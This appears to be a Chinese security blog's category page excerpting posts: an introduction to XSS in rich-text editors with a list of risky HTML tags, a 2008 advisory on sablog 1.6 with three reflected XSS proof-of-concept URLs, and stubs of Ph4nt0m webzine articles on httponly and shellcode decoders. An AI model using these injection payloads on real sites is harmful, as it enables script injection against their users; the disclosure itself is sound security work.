分类 ‘技术文章’ 下的日志

黑客入门之富文本编辑器的跨站脚本问题

| 鬼仔 | 技术文章 | 2 条评论了已经

来源：Neeao's Security Blog

富文本编辑器是一个开放式的HTML内容编辑环境，必须实现文字样式、链接、图片等功能的HTML，所以用户 POST的内容必须含有HTML标签，但是任由用户输入各类HTML标签，会造成一些潜在的恶意脚本攻击，借这类情况正好分析出现XSS的情况，主要针对 IE浏览器.

一.首先是微软建议我们可能造成恶意脚本攻击的标签.

类似如下的

tag:

applet
base
basefont
bgsound
blink
body
embed
frame
frameset
head
html
ilayer
iframe
layer
link
meta
object
style
title
script

-----------------------------------

阅读全文 »

Tags: 跨站

sablog 1.6 多个跨站漏洞

| 鬼仔 | 技术文章 | 消灭0留言

Date：2008-03-27
Author：amxku[c.r.s.t]
Version:sablog 1.6

由于过滤不严，存在多个跨站漏洞

PS:
http://www.amxku.net/?viewmode=list&curl=>"><ScRiPt%20%0a%0d>alert(amxku)%3B</ScRiPt>
http://www.amxku.net/?action=index&cid=>"><ScRiPt%20%0a%0d>alert(amxku)%3B</ScRiPt>
http://www.amxku.net/?action=index&setdate=200804&setday=>"><ScRiPt%20%0a%0d>alert(amxku)%3B</ScRiPt>&page=1

阅读全文 »

Tags: SaBlog, 漏洞, 跨站

[PSTZine 0x01][0x06][利用httponly提升应用程序安全性]

| 鬼仔 | 技术文章 | 消灭0留言

==Ph4nt0m Security Team==

Issue 0x01, Phile #0x06 of 0x06

|=---------------------------------------------------------------------------=|
|=-------------=[ 利用httponly提升应用程序安全性 ]=--------------=|
|=---------------------------------------------------------------------------=|
|=---------------------------------

阅读全文 »

Tags: httponly, Ph4nt0m, Ph4nt0m Webzine, WebZine

[PSTZine 0x01][0x02][An improvement on mixed case alphanumeric shellcode decoder]

| 鬼仔 | 技术文章 | 消灭0留言

==Ph4nt0m Security Team==

Issue 0x01, Phile #0x02 of 0x06

|=---------------------------------------------------------------------------=|
|=----=[ An improvement on mixed case alphanumeric shellcode decoder ]=------=|
|=---------------------------------------------------------------------------=|
|=----------------------

阅读全文 »

Tags: Ph4nt0m, Ph4nt0m Webzine, shellcode, WebZine